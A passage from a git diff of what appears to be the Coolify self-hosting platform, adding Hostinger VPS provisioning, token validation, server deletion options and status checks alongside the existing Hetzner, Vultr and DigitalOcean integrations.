OA\Response(response: 422, description: 'Validation failed.'), + new OA\Response(response: 429, description: 'Hostinger rate limit exceeded.'), + ] + )] + public function createServer(Request $request): JsonResponse + { + $allowedFields = [ + 'cloud_provider_token_uuid', + 'cloud_provider_token_id', + 'item_id', + 'data_center_id', + 'template_id', + 'name', + 'private_key_uuid', + 'enable_backups', + 'public_key_ids', + 'post_install_script_id', + 'instant_validate', + ]; + $teamId = getTeamIdFromToken(); + + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $this->authorize('create', [Server::class]); + + $return = validateIncomingRequest($request); + if ($return instanceof JsonResponse) { + return $return; + } + + $validator = customApiValidator($request->all(), [ + 'cloud_provider_token_uuid' => 'required_without:cloud_provider_token_id|string', + 'cloud_provider_token_id' => 'required_without:cloud_provider_token_uuid|string', + 'item_id' => 'required|string', + 'data_center_id' => 'required|integer', + 'template_id' => 'required|integer', + 'name' => ['nullable', 'string', 'max:253', new ValidHostname], + 'private_key_uuid' => 'required|string', + 'enable_backups' => 'nullable|boolean', + 'public_key_ids' => 'nullable|array', + 'public_key_ids.*' => 'integer', + 'post_install_script_id' => 'nullable|integer', + 'instant_validate' => 'nullable|boolean', + ]); + $extraFields = array_diff(array_keys($request->all()), $allowedFields); + + if ($validator->fails() || ! empty($extraFields)) { + $errors = $validator->errors(); + foreach ($extraFields as $field) { + $errors->add($field, 'This field is not allowed.'); + } + + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => $errors, + ], 422); + } + + $team = Team::find($teamId); + if (Team::serverLimitReached($team)) { + return response()->json(['message' => 'Server limit reached for your subscription.'], 400); + } + + $token = $this->hostingerToken($request, $teamId); + if ($token instanceof JsonResponse) { + return $token; + } + + $privateKey = PrivateKey::whereTeamId($teamId)->whereUuid($request->private_key_uuid)->first(); + if (! $privateKey) { + return response()->json(['message' => 'Private key not found.'], 404); + } + + $virtualMachineId = null; + + try { + $hostingerService = new HostingerService($token->token); + $normalizedServerName = strtolower(trim($request->name ?: generate_random_name())); + $setup = [ + 'data_center_id' => $request->integer('data_center_id'), + 'template_id' => $request->integer('template_id'), + 'hostname' => $normalizedServerName, + 'enable_backups' => $request->boolean('enable_backups'), + 'public_key' => [ + 'name' => $privateKey->name, + 'key' => $privateKey->getPublicKey(), + ], + ]; + if ($request->filled('post_install_script_id')) { + $setup['post_install_script_id'] = $request->integer('post_install_script_id'); + } + + $virtualMachine = $hostingerService->purchaseVirtualMachine([ + 'item_id' => $request->item_id, + 'setup' => $setup, + ]); + $virtualMachineId = (int) $virtualMachine['id']; + + $server = Server::create([ + 'name' => $normalizedServerName, + 'ip' => Server::PLACEHOLDER_IP, + 'user' => 'root', + 'port' => 22, + 'team_id' => $teamId, + 'private_key_id' => $privateKey->id, + 'cloud_provider_token_id' => $token->id, + 'hostinger_virtual_machine_id' => $virtualMachine['id'], + 'hostinger_virtual_machine_status' => $virtualMachine['state'] ?? null, + ]); + + $server->proxy->set('status', 'exited'); + $server->proxy->set('type', ProxyTypes::TRAEFIK->value); + $server->save(); + + try { + if ($request->array('public_key_ids')) { + $hostingerService->attachPublicKeys((int) $virtualMachine['id'], $request->array('public_key_ids')); + } + $virtualMachine = $hostingerService->waitForPublicIp($virtualMachine); + $ipAddress = $hostingerService->getPublicIpAddress($virtualMachine); + if ($ipAddress) { + $server->update([ + 'ip' => $ipAddress, + 'hostinger_virtual_machine_status' => $virtualMachine['state'] ?? $server->hostinger_virtual_machine_status, + ]); + } + } catch (\Throwable $e) { + report($e); + } + + $ipAddress = $server->fresh()->ip; + + if ($request->boolean('instant_validate') && ! $server->hasPlaceholderIp()) { + ValidateServer::dispatch($server); + } + + auditLog('api.hostinger_virtual_machine.created', [ + 'team_id' => $teamId, + 'server_uuid' => $server->uuid, + 'server_name' => $server->name, + 'hostinger_virtual_machine_id' => $virtualMachine['id'], + 'ip' => $ipAddress, + ]); + + return response()->json([ + 'uuid' => $server->uuid, + 'hostinger_virtual_machine_id' => $virtualMachine['id'], + 'ip' => $ipAddress, + 'provisioning' => $ipAddress === Server::PLACEHOLDER_IP, + ])->setStatusCode(201); + } catch (RateLimitException $e) { + return $this->rateLimitResponse($e); + } catch (\Throwable $e) { + logger()->error('Failed to create Hostinger server', [ + 'error' => $e->getMessage(), + 'team_id' => $teamId, + 'hostinger_virtual_machine_id' => $virtualMachineId, + ]); + + if ($e->getCode() === 202) { + return response()->json(['message' => $e->getMessage()], 202); + } + + return response()->json(array_filter([ + 'message' => $virtualMachineId + ? 'The Hostinger VPS was purchased but could not be saved in Coolify. Manage it in hPanel.' + : 'Failed to create Hostinger server.', + 'hostinger_virtual_machine_id' => $virtualMachineId, + ]), 500); + } + } + + private function providerData(Request $request, string $method, string $resource): JsonResponse + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $token = $this->hostingerToken($request, $teamId); + if ($token instanceof JsonResponse) { + return $token; + } + + try { + return response()->json((new HostingerService($token->token))->{$method}()); + } catch (RateLimitException $e) { + return $this->rateLimitResponse($e); + } catch (\Throwable $e) { + $hostingerErrorPrefix = 'Hostinger API error: '; + if (in_array($e->getCode(), [401, 403], true) && str_starts_with($e->getMessage(), $hostingerErrorPrefix)) { + $hostingerMessage = substr($e->getMessage(), strlen($hostingerErrorPrefix)); + + return response()->json(['message' => "Hostinger denied access to {$resource}: {$hostingerMessage}"], 403); + } + + return response()->json(['message' => "Failed to fetch Hostinger {$resource}."], 500); + } + } + + private function rateLimitResponse(RateLimitException $e): JsonResponse + { + $response = response()->json(['message' => $e->getMessage()], 429); + if ($e->retryAfter !== null) { + $response->header('Retry-After', $e->retryAfter); + } + + return $response; + } + + private function hostingerToken(Request $request, int $teamId): CloudProviderToken|JsonResponse + { + $validator = customApiValidator($request->all(), [ + 'cloud_provider_token_uuid' => 'required_without:cloud_provider_token_id|string', + 'cloud_provider_token_id' => 'required_without:cloud_provider_token_uuid|string', + ]); + + if ($validator->fails()) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => $validator->errors(), + ], 422); + } + + $tokenUuid = $request->cloud_provider_token_uuid ?? $request->cloud_provider_token_id; + $token = CloudProviderToken::whereTeamId($teamId) + ->whereUuid($tokenUuid) + ->where('provider', 'hostinger') + ->first(); + + if (! $token) { + return response()->json(['message' => 'Hostinger cloud provider token not found.'], 404); + } + + $this->authorize('view', $token); + + return $token; + } +} diff --git a/app/Jobs/ServerCloudProviderStatusCheckJob.php b/app/Jobs/ServerCloudProviderStatusCheckJob.php index cd2e51df7d..46d0898c93 100644 --- a/app/Jobs/ServerCloudProviderStatusCheckJob.php +++ b/app/Jobs/ServerCloudProviderStatusCheckJob.php @@ -47,6 +47,9 @@ class ServerCloudProviderStatusCheckJob implements ShouldBeEncrypted, ShouldQueu 'digitalocean' => $this->server->digitalocean_droplet_id ? $this->server->refreshDigitalOceanState() : null, + 'hostinger' => $this->server->hostinger_virtual_machine_id + ? $this->server->refreshHostingerState() + : null, default => null, }; } catch (\Throwable $e) { diff --git a/app/Jobs/ServerManagerJob.php b/app/Jobs/ServerManagerJob.php index a8f2a50a31..ac1c551982 100644 --- a/app/Jobs/ServerManagerJob.php +++ b/app/Jobs/ServerManagerJob.php @@ -99,7 +99,8 @@ class ServerManagerJob implements ShouldBeEncrypted, ShouldQueue $servers->each(function (Server $server) { $hasCloudResource = $server->hetzner_server_id || $server->vultr_instance_id - || $server->digitalocean_droplet_id; + || $server->digitalocean_droplet_id + || $server->hostinger_virtual_machine_id; if ($hasCloudResource && $server->cloudProviderToken) { ServerCloudProviderStatusCheckJob::dispatch($server); diff --git a/app/Livewire/Security/CloudProviderToken/Show.php b/app/Livewire/Security/CloudProviderToken/Show.php index d8006f7740..f2389628bd 100644 --- a/app/Livewire/Security/CloudProviderToken/Show.php +++ b/app/Livewire/Security/CloudProviderToken/Show.php @@ -85,6 +85,7 @@ class Show extends Component 'hetzner' => $this->validateHetznerToken($this->cloudProviderToken->token), 'digitalocean' => $this->validateDigitalOceanToken($this->cloudProviderToken->token), 'vultr' => $this->validateVultrToken($this->cloudProviderToken->token), + 'hostinger' => $this->validateHostingerToken($this->cloudProviderToken->token), default => false, }; @@ -141,6 +142,7 @@ class Show extends Component return match ($this->cloudProviderToken->provider) { 'digitalocean' => 'DigitalOcean', 'vultr' => 'Vultr', + 'hostinger' => 'Hostinger', default => 'Hetzner', }; } @@ -181,6 +183,19 @@ class Show extends Component } } + private function validateHostingerToken(string $token): bool + { + try { + return Http::withToken($token) + ->acceptJson() + ->timeout(10) + ->get('https://developers.hostinger.com/api/vps/v1/virtual-machines') + ->successful(); + } catch (\Throwable) { + return false; + } + } + public function render() { return view('livewire.security.cloud-provider-token.show'); diff --git a/app/Livewire/Security/CloudProviderTokenForm.php b/app/Livewire/Security/CloudProviderTokenForm.php index 2c31d22035..4bdf3f5f3a 100644 --- a/app/Livewire/Security/CloudProviderTokenForm.php +++ b/app/Livewire/Security/CloudProviderTokenForm.php @@ -5,6 +5,7 @@ namespace App\Livewire\Security; use App\Livewire\Server\CloudProviderToken\Show as ServerCloudProviderTokenShow; use App\Livewire\Server\New\ByDigitalOcean; use App\Livewire\Server\New\ByHetzner; +use App\Livewire\Server\New\ByHostinger; use App\Models\CloudProviderToken; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Illuminate\Support\Facades\Http; @@ -41,7 +42,7 @@ class CloudProviderTokenForm extends Component protected function rules(): array { return [ - 'provider' => 'required|string|in:hetzner,digitalocean,vultr', + 'provider' => 'required|string|in:hetzner,digitalocean,vultr,hostinger', 'token' => 'required|string', 'name' => 'required|string|max:255', 'description' => 'nullable|string|max:1000', @@ -86,6 +87,15 @@ class CloudProviderTokenForm extends Component return $response->successful(); } + if ($provider === 'hostinger') { + $response = Http::withToken($token) + ->acceptJson() + ->timeout(10) + ->get('https://developers.hostinger.com/api/vps/v1/virtual-machines'); + + return $response->successful(); + } + return false; } catch (\Throwable $e) { return false; @@ -128,6 +138,7 @@ class CloudProviderTokenForm extends Component if ($savedToken->provider === 'digitalocean') { $this->dispatch('tokenAdded.digitalocean', tokenId: $savedToken->id)->to(ByDigitalOcean::class); + $this->dispatch('tokenAdded.digitalocean', tokenId: $savedToken->id)->to(ServerCloudProviderTokenShow::class); } if ($savedToken->provider === 'hetzner') { @@ -135,6 +146,11 @@ class CloudProviderTokenForm extends Component $this->dispatch('tokenAdded.hetzner', tokenId: $savedToken->id)->to(ServerCloudProviderTokenShow::class); } + if ($savedToken->provider === 'hostinger') { + $this->dispatch('tokenAdded.hostinger', tokenId: $savedToken->id)->to(ByHostinger::class); + $this->dispatch('tokenAdded.hostinger', tokenId: $savedToken->id)->to(ServerCloudProviderTokenShow::class); + } + if ($this->modal_mode) { $this->dispatch('close-modal'); } diff --git a/app/Livewire/Security/CloudProviderTokens.php b/app/Livewire/Security/CloudProviderTokens.php index d16c729fca..549576ff6f 100644 --- a/app/Livewire/Security/CloudProviderTokens.php +++ b/app/Livewire/Security/CloudProviderTokens.php @@ -59,6 +59,13 @@ class CloudProviderTokens extends Component } else { $this->dispatch('error', 'Vultr token validation failed. Please check the token.'); } + } elseif ($token->provider === 'hostinger') { + $isValid = $this->validateHostingerToken($token->token); + if ($isValid) { + $this->dispatch('success', 'Hostinger token is valid.'); + } else { + $this->dispatch('error', 'Hostinger token validation failed. Please check the token.'); + } } else { $this->dispatch('error', 'Unknown provider.'); } @@ -114,6 +121,19 @@ class CloudProviderTokens extends Component } } + private function validateHostingerToken(string $token): bool + { + try { + return Http::withToken($token) + ->acceptJson() + ->timeout(10) + ->get('https://developers.hostinger.com/api/vps/v1/virtual-machines') + ->successful(); + } catch (\Throwable) { + return false; + } + } + public function deleteToken(int $tokenId) { try { diff --git a/app/Livewire/Server/CloudProviderToken/Show.php b/app/Livewire/Server/CloudProviderToken/Show.php index e8216d0549..9d27340013 100644 --- a/app/Livewire/Server/CloudProviderToken/Show.php +++ b/app/Livewire/Server/CloudProviderToken/Show.php @@ -36,13 +36,25 @@ class Show extends Component { return [ 'tokenAdded.hetzner' => 'handleTokenAdded', + 'tokenAdded.digitalocean' => 'handleTokenAdded', + 'tokenAdded.hostinger' => 'handleTokenAdded', ]; } public function loadTokens() { - $this->provider = $this->server->vultr_instance_id ? 'vultr' : 'hetzner'; - $this->providerName = $this->provider === 'vultr' ? 'Vultr' : 'Hetzner'; + $this->provider = match (true) { + filled($this->server->vultr_instance_id) => 'vultr', + filled($this->server->digitalocean_droplet_id) => 'digitalocean', + filled($this->server->hostinger_virtual_machine_id) => 'hostinger', + default => 'hetzner', + }; + $this->providerName = match ($this->provider) { + 'vultr' => 'Vultr', + 'digitalocean' => 'DigitalOcean', + 'hostinger' => 'Hostinger', + default => 'Hetzner', + }; $this->cloudProviderTokens = CloudProviderToken::where('team_id', $this->server->team_id) ->where('provider', $this->provider) @@ -96,9 +108,7 @@ class Show extends Component private function validateTokenForServer(CloudProviderToken $token): array { try { - $endpoint = $token->provider === 'vultr' - ? 'https://api.vultr.com/v2/account' - : 'https://api.hetzner.cloud/v1/servers'; + $endpoint = $this->validationEndpoint($token->provider); $response = Http::withHeaders([ 'Authorization' => 'Bearer '.$token->token, @@ -137,6 +147,33 @@ class Show extends Component } } + if ($this->server->digitalocean_droplet_id) { + $serverResponse = Http::withToken($token->token) + ->timeout(10) + ->get("https://api.digitalocean.com/v2/droplets/{$this->server->digitalocean_droplet_id}"); + + if (! $serverResponse->successful()) { + return [ + 'valid' => false, + 'error' => 'This token cannot access this droplet. It may belong to a different DigitalOcean account.', + ]; + } + } + + if ($this->server->hostinger_virtual_machine_id) { + $serverResponse = Http::withToken($token->token) + ->acceptJson() + ->timeout(10) + ->get("https://developers.hostinger.com/api/vps/v1/virtual-machines/{$this->server->hostinger_virtual_machine_id}"); + + if (! $serverResponse->successful()) { + return [ + 'valid' => false, + 'error' => 'This token cannot access this VPS. It may belong to a different Hostinger account.', + ]; + } + } + return ['valid' => true]; } catch (\Throwable $e) { return [ @@ -156,9 +193,7 @@ class Show extends Component return; } - $endpoint = $token->provider === 'vultr' - ? 'https://api.vultr.com/v2/account' - : 'https://api.hetzner.cloud/v1/servers'; + $endpoint = $this->validationEndpoint($token->provider); $response = Http::withHeaders([ 'Authorization' => 'Bearer '.$token->token, @@ -184,6 +219,16 @@ class Show extends Component } } + private function validationEndpoint(string $provider): string + { + return match ($provider) { + 'vultr' => 'https://api.vultr.com/v2/account', + 'digitalocean' => 'https://api.digitalocean.com/v2/account', + 'hostinger' => 'https://developers.hostinger.com/api/vps/v1/virtual-machines', + default => 'https://api.hetzner.cloud/v1/servers', + }; + } + public function render() { return view('livewire.server.cloud-provider-token.show'); diff --git a/app/Livewire/Server/Create.php b/app/Livewire/Server/Create.php index 7edfcaf72b..1f1aae51ea 100644 --- a/app/Livewire/Server/Create.php +++ b/app/Livewire/Server/Create.php @@ -21,7 +21,7 @@ class Create extends Component public function mount(?string $selectedType = null, ?string $selectedTokenUuid = null): void { - $this->selectedType = in_array($selectedType, ['hetzner', 'vultr', 'digital-ocean', 'manual'], true) + $this->selectedType = in_array($selectedType, ['hetzner', 'vultr', 'digital-ocean', 'hostinger', 'manual'], true) ? $selectedType : null; $this->selectedTokenUuid = $this->selectedType && $this->selectedType !== 'manual' ? $selectedTokenUuid : null; diff --git a/app/Livewire/Server/CreatePage.php b/app/Livewire/Server/CreatePage.php index 158f28351b..be901b9db6 100644 --- a/app/Livewire/Server/CreatePage.php +++ b/app/Livewire/Server/CreatePage.php @@ -28,12 +28,14 @@ class CreatePage extends Component 'hetzner' => 'hetzner', 'vultr' => 'vultr', 'digital-ocean' => 'digitalocean', + 'hostinger' => 'hostinger', default => null, }; $this->tokenProviderName = match ($type) { 'hetzner' => 'Hetzner', 'vultr' => 'Vultr', 'digital-ocean' => 'DigitalOcean', + 'hostinger' => 'Hostinger', default => null, }; $this->hasProviderTokens = $this->tokenProvider @@ -43,6 +45,7 @@ class CreatePage extends Component 'hetzner' => 'Hetzner', 'vultr' => 'Vultr', 'digital-ocean' => 'DigitalOcean', + 'hostinger' => 'Hostinger', 'manual' => 'Manual', default => 'New Server', }; diff --git a/app/Livewire/Server/Delete.php b/app/Livewire/Server/Delete.php index 359f94e0fb..c3539aa282 100644 --- a/app/Livewire/Server/Delete.php +++ b/app/Livewire/Server/Delete.php @@ -20,6 +20,8 @@ class Delete extends Component public bool $delete_from_digitalocean = false; + public bool $delete_from_hostinger = false; + public bool $force_delete_resources = false; public function mount(string $server_uuid) @@ -41,6 +43,7 @@ class Delete extends Component $this->delete_from_hetzner = in_array('delete_from_hetzner', $selectedActions); $this->delete_from_vultr = in_array('delete_from_vultr', $selectedActions); $this->delete_from_digitalocean = in_array('delete_from_digitalocean', $selectedActions); + $this->delete_from_hostinger = in_array('delete_from_hostinger', $selectedActions); $this->force_delete_resources = in_array('force_delete_resources', $selectedActions); } try { @@ -72,7 +75,9 @@ class Delete extends Component $this->delete_from_vultr, $this->server->vultr_instance_id, $this->delete_from_digitalocean, - $this->server->digitalocean_droplet_id + $this->server->digitalocean_droplet_id, + $this->delete_from_hostinger, + $this->server->hostinger_virtual_machine_id ); return redirectRoute($this, 'server.index'); @@ -118,6 +123,14 @@ class Delete extends Component ]; } + if ($this->server->hostinger_virtual_machine_id) { + $checkboxes[] = [ + 'id' => 'delete_from_hostinger', + 'label' => 'Also delete VPS from Hostinger (at the end of the paid period)', + 'default_warning' => 'The VPS on Hostinger will NOT be deleted, and Hostinger will keep billing for it.', + ]; + } + return view('livewire.server.delete', [ 'checkboxes' => $checkboxes, ]); diff --git a/app/Livewire/Server/New/ByHostinger.php b/app/Livewire/Server/New/ByHostinger.php new file mode 100644 index 0000000000..c05fcf7d5d --- /dev/null +++ b/app/Livewire/Server/New/ByHostinger.php @@ -0,0 +1,514 @@ +authorize('viewAny', CloudProviderToken::class); + $this->loadTokens(); + $this->selectTokenFromUrl($selectedTokenUuid); + $this->server_name = generate_random_name(); + $this->private_keys = PrivateKey::ownedAndOnlySShKeys()->where('id', '!=', 0)->get(); + + if ($this->private_keys->isNotEmpty()) { + $this->private_key_id = $this->private_keys->first()->id; + } + + if ($this->selectedTokenUuid) { + $this->current_step = 2; + $this->loading_data = true; + } + + return null; + } catch (\Throwable $e) { + return handleError($e, $this); + } + } + + public function getListeners(): array + { + return [ + 'tokenAdded.hostinger' => 'handleTokenAdded', + 'privateKeyCreated' => 'handlePrivateKeyCreated', + 'modalClosed' => 'resetSelection', + ]; + } + + protected function rules(): array + { + $rules = [ + 'selected_token_id' => 'required|integer|exists:cloud_provider_tokens,id', + ]; + + if ($this->current_step === 2) { + $rules = array_merge($rules, [ + 'server_name' => ['required', 'string', 'max:253', new ValidHostname], + 'selected_data_center_id' => 'required|integer', + 'selected_template_id' => 'required|integer', + 'selected_price_id' => 'required|string', + 'private_key_id' => 'required|integer|exists:private_keys,id,team_id,'.currentTeam()->id, + 'enable_backups' => 'required|boolean', + 'selected_public_key_ids' => 'array', + 'selected_public_key_ids.*' => 'integer', + 'selected_post_install_script_id' => 'nullable|integer', + ]); + } + + return $rules; + } + + protected function messages(): array + { + return [ + 'selected_token_id.required' => 'Please select a Hostinger token.', + 'selected_token_id.exists' => 'Selected token not found.', + ]; + } + + public function loadTokens(): void + { + $this->available_tokens = CloudProviderToken::ownedByCurrentTeam() + ->where('provider', 'hostinger') + ->get(); + } + + public function handleTokenAdded(int $tokenId): mixed + { + $this->loadTokens(); + $this->selected_token_id = $tokenId; + + return $this->nextStep(); + } + + public function handlePrivateKeyCreated(int $keyId): void + { + $this->private_keys = PrivateKey::ownedAndOnlySShKeys()->where('id', '!=', 0)->get(); + $this->private_key_id = $keyId; + $this->resetErrorBag('private_key_id'); + } + + public function resetSelection(): void + { + $this->selected_token_id = null; + $this->current_step = 1; + } + + public function nextStep(): mixed + { + $this->validate([ + 'selected_token_id' => 'required|integer|exists:cloud_provider_tokens,id', + ]); + + try { + if (! $this->selectedTokenUuid) { + $token = $this->available_tokens->firstWhere('id', $this->selected_token_id); + + if ($token) { + return $this->redirectRoute('server.create.token', [ + 'type' => 'hostinger', + 'token_uuid' => $token->uuid, + ], navigate: true); + } + } + + $this->current_step = 2; + $this->loading_data = true; + + return null; + } catch (\Throwable $e) { + return handleError($e, $this); + } + } + + public function loadHostingerData(): void + { + $token = $this->getHostingerToken(); + + if (! $token) { + $this->loading_data = false; + $this->dispatch('error', 'Please select a valid Hostinger token.'); + + return; + } + + $this->loading_data = true; + $this->provider_data_error = null; + + try { + $hostingerService = new HostingerService($token); + $this->data_centers = $hostingerService->getDataCenters(); + $this->templates = collect($hostingerService->getTemplates()) + ->sortBy('name') + ->values() + ->toArray(); + $this->catalog_items = $hostingerService->getCatalogItems(); + $this->hostinger_public_keys = $this->optionalProviderData(fn () => $hostingerService->getPublicKeys()); + $this->post_install_scripts = $this->optionalProviderData(fn () => $hostingerService->getPostInstallScripts()); + $this->selectDefaultTemplate(); + } catch (\Throwable $e) { + $this->provider_data_error = $e->getMessage(); + $this->dispatch('error', $this->provider_data_error); + } finally { + $this->loading_data = false; + } + } + + public function updatedSelectedOsTemplateId(): void + { + if ($this->selected_os_template_id !== null) { + $this->selected_app_template_id = null; + } + + $this->selected_template_id = $this->selected_os_template_id ?? $this->selected_app_template_id; + } + + public function updatedSelectedAppTemplateId(): void + { + if ($this->selected_app_template_id !== null) { + $this->selected_os_template_id = null; + } + + $this->selected_template_id = $this->selected_app_template_id ?? $this->selected_os_template_id; + } + + /** + * Plain operating system templates. + */ + public function getOsTemplatesProperty(): array + { + return collect($this->templates) + ->reject(fn (array $template): bool => $this->templateIncludesApplication($template)) + ->values() + ->all(); + } + + /** + * Operating system templates that also install an application or control panel. + */ + public function getAppTemplatesProperty(): array + { + return collect($this->templates) + ->filter(fn (array $template): bool => $this->templateIncludesApplication($template)) + ->values() + ->all(); + } + + public function getPriceOptionsProperty(): array + { + return collect($this->catalog_items) + ->flatMap(function (array $item): array { + $planSize = $this->planSize($item); + + return collect($item['prices'] ?? []) + ->map(fn (array $price): array => array_merge($price, [ + 'plan_name' => $item['name'] ?? $item['id'] ?? 'VPS', + 'plan_size' => $planSize, + ])) + ->all(); + }) + ->sort(fn (array $a, array $b): int => [$a['plan_size'], $this->periodInMonths($a)] <=> [$b['plan_size'], $this->periodInMonths($b)]) + ->values() + ->toArray(); + } + + public function getSelectedPriceProperty(): ?array + { + return collect($this->priceOptions)->firstWhere('id', $this->selected_price_id); + } + + public function priceLabel(array $price): string + { + $currency = strtoupper($price['currency'] ?? 'USD'); + $firstPeriodPrice = (int) ($price['first_period_price'] ?? $price['price'] ?? 0); + $renewalPrice = (int) ($price['price'] ?? $firstPeriodPrice); + $period = (int) ($price['period'] ?? 1); + $periodUnit = $price['period_unit'] ?? 'month'; + $periodLabel = $period.' '.str($periodUnit)->plural($period); + + return sprintf( + '%s — %s %.2f for %s, then %s %.2f', + $price['plan_name'] ?? 'VPS', + $currency, + $firstPeriodPrice / 100, + $periodLabel, + $currency, + $renewalPrice / 100 + ); + } + + public function submit(): mixed + { + $this->validate(); + + $virtualMachineId = null; + + try { + $this->authorize('create', Server::class); + + if (Team::serverLimitReached()) { + return $this->dispatch('error', 'You have reached the server limit for your subscription.'); + } + + $privateKey = PrivateKey::ownedByCurrentTeam()->findOrFail($this->private_key_id); + $hostingerService = new HostingerService($this->getHostingerToken()); + + if (! $this->providerSelectionsAreValid($hostingerService)) { + return null; + } + + $normalizedServerName = strtolower(trim($this->server_name)); + $setup = [ + 'data_center_id' => $this->selected_data_center_id, + 'template_id' => $this->selected_template_id, + 'hostname' => $normalizedServerName, + 'enable_backups' => $this->enable_backups, + 'public_key' => [ + 'name' => $privateKey->name, + 'key' => $privateKey->getPublicKey(), + ], + ]; + if ($this->selected_post_install_script_id) { + $setup['post_install_script_id'] = $this->selected_post_install_script_id; + } + + $virtualMachine = $hostingerService->purchaseVirtualMachine([ + 'item_id' => $this->selected_price_id, + 'setup' => $setup, + ]); + $virtualMachineId = (int) $virtualMachine['id']; + + $server = Server::create([ + 'name' => $normalizedServerName, + 'ip' => Server::PLACEHOLDER_IP, + 'user' => 'root', + 'port' => 22, + 'team_id' => currentTeam()->id, + 'private_key_id' => $privateKey->id, + 'cloud_provider_token_id' => $this->selected_token_id, + 'hostinger_virtual_machine_id' => $virtualMachine['id'], + 'hostinger_virtual_machine_status' => $virtualMachine['state'] ?? null, + ]); + + $server->proxy->set('status', 'exited'); + $server->proxy->set('type', ProxyTypes::TRAEFIK->value); + $server->save(); + + try { + if ($this->selected_public_key_ids) { + $hostingerService->attachPublicKeys((int) $virtualMachine['id'], $this->selected_public_key_ids); + } + $virtualMachine = $hostingerService->waitForPublicIp($virtualMachine); + $ipAddress = $hostingerService->getPublicIpAddress($virtualMachine); + if ($ipAddress) { + $server->update([ + 'ip' => $ipAddress, + 'hostinger_virtual_machine_status' => $virtualMachine['state'] ?? $server->hostinger_virtual_machine_status, + ]); + } + } catch (\Throwable $e) { + report($e); + } + + if ($this->from_onboarding) { + currentTeam()->update(['show_boarding' => false]); + refreshSession(); + } + + return redirectRoute($this, 'server.show', [$server->uuid]); + } catch (\Throwable $e) { + if ($virtualMachineId) { + logger()->warning('Hostinger VPS was purchased but could not be saved in Coolify', [ + 'team_id' => currentTeam()->id, + 'hostinger_virtual_machine_id' => $virtualMachineId, + ]); + $this->dispatch('error', "Hostinger VPS {$virtualMachineId} was purchased but could not be saved in Coolify. Manage it in hPanel."); + } + + return handleError($e, $this); + } + } + + private function selectTokenFromUrl(?string $selectedTokenUuid): void + { + if (! $selectedTokenUuid) { + return; + } + + $token = $this->available_tokens->firstWhere('uuid', $selectedTokenUuid); + + if ($token) { + $this->selectedTokenUuid = $selectedTokenUuid; + $this->selected_token_id = $token->id; + } + } + + private function getHostingerToken(): string + { + $token = $this->available_tokens->firstWhere('id', $this->selected_token_id); + + return $token?->token ?? ''; + } + + private function selectDefaultTemplate(): void + { + if ($this->selected_template_id !== null) { + return; + } + + $defaultTemplate = collect($this->osTemplates)->firstWhere('name', 'Ubuntu 24.04 LTS'); + + if ($defaultTemplate) { + $this->selected_os_template_id = (int) $defaultTemplate['id']; + $this->selected_template_id = $this->selected_os_template_id; + } + } + + private function templateIncludesApplication(array $template): bool + { + return str_contains((string) ($template['name'] ?? ''), ' with '); + } + + /** + * The plan size from the KVM plan id (hostingercom-vps-kvm4 is 4), falling back to its CPU count. + */ + private function planSize(array $item): int + { + if (preg_match('/-vps-kvm(\d+)$/', (string) ($item['id'] ?? ''), $matches) === 1) { + return (int) $matches[1]; + } + + return (int) ($item['metadata']['cpus'] ?? 0); + } + + private function periodInMonths(array $price): float + { + $period = (int) ($price['period'] ?? 0); + + return match ($price['period_unit'] ?? 'month') { + 'day' => $period / 30, + 'week' => $period * 7 / 30, + 'year' => $period * 12, + 'none' => PHP_INT_MAX, + default => $period, + }; + } + + /** + * Load an optional Hostinger list. Some tokens cannot read these lists, so a failure must not block the form. + */ + private function optionalProviderData(callable $callback): array + { + try { + return $callback(); + } catch (\Throwable $e) { + report($e); + + return []; + } + } + + private function providerSelectionsAreValid(HostingerService $hostingerService): bool + { + $priceIds = collect($hostingerService->getCatalogItems()) + ->flatMap(fn (array $item) => collect($item['prices'] ?? [])->pluck('id')); + $dataCenterIds = collect($hostingerService->getDataCenters())->pluck('id')->map(fn ($id) => (int) $id); + $templateIds = collect($hostingerService->getTemplates())->pluck('id')->map(fn ($id) => (int) $id); + $publicKeyIds = collect($this->selected_public_key_ids ? $hostingerService->getPublicKeys() : [])->pluck('id')->map(fn ($id) => (int) $id); + $postInstallScriptIds = collect($this->selected_post_install_script_id ? $hostingerService->getPostInstallScripts() : [])->pluck('id')->map(fn ($id) => (int) $id); + + if (! $priceIds->contains($this->selected_price_id)) { + $this->addError('selected_price_id', 'The selected Hostinger plan or billing period is no longer available.'); + } + + if (! $dataCenterIds->contains($this->selected_data_center_id)) { + $this->addError('selected_data_center_id', 'The selected Hostinger data center is no longer available.'); + } + + if (! $templateIds->contains($this->selected_template_id)) { + $this->addError('selected_template_id', 'The selected Hostinger operating system is no longer available.'); + } + + if (collect($this->selected_public_key_ids)->contains(fn ($id) => ! $publicKeyIds->contains((int) $id))) { + $this->addError('selected_public_key_ids', 'One or more selected Hostinger SSH keys are no longer available.'); + } + + if ($this->selected_post_install_script_id && ! $postInstallScriptIds->contains($this->selected_post_install_script_id)) { + $this->addError('selected_post_install_script_id', 'The selected Hostinger post-install script is no longer available.'); + } + + return ! $this->getErrorBag()->isNotEmpty(); + } + + public function render() + { + return view('livewire.server.new.by-hostinger'); + } +} diff --git a/app/Livewire/Server/Show.php b/app/Livewire/Server/Show.php index 8357e89257..839f545ae2 100644 --- a/app/Livewire/Server/Show.php +++ b/app/Livewire/Server/Show.php @@ -10,6 +10,7 @@ use App\Models\Server; use App\Rules\ValidServerIp; use App\Services\DigitalOceanService; use App\Services\HetznerService; +use App\Services\HostingerService; use App\Services\ServerTransfer\ServerTransferClaimer; use App\Services\VultrService; use App\Support\ValidationPatterns; @@ -82,12 +83,16 @@ class Show extends Component public ?string $digitalOceanDropletStatus = null; + public ?string $hostingerVirtualMachineStatus = null; + public bool $hetznerServerManuallyStarted = false; public bool $vultrInstanceManuallyStarted = false; public bool $digitalOceanDropletManuallyStarted = false; + public bool $hostingerVirtualMachineManuallyStarted = false; + public bool $isValidating = false; // Hetzner linking properties @@ -127,6 +132,18 @@ class Show extends Component public bool $digitalOceanNoMatchFound = false; + public Collection $availableHostingerTokens; + + public ?int $selectedHostingerTokenId = null; + + public ?string $manualHostingerVirtualMachineId = null; + + public ?array $matchedHostingerVirtualMachine = null; + + public ?string $hostingerSearchError = null; + + public bool $hostingerNoMatchFound = false; + public function 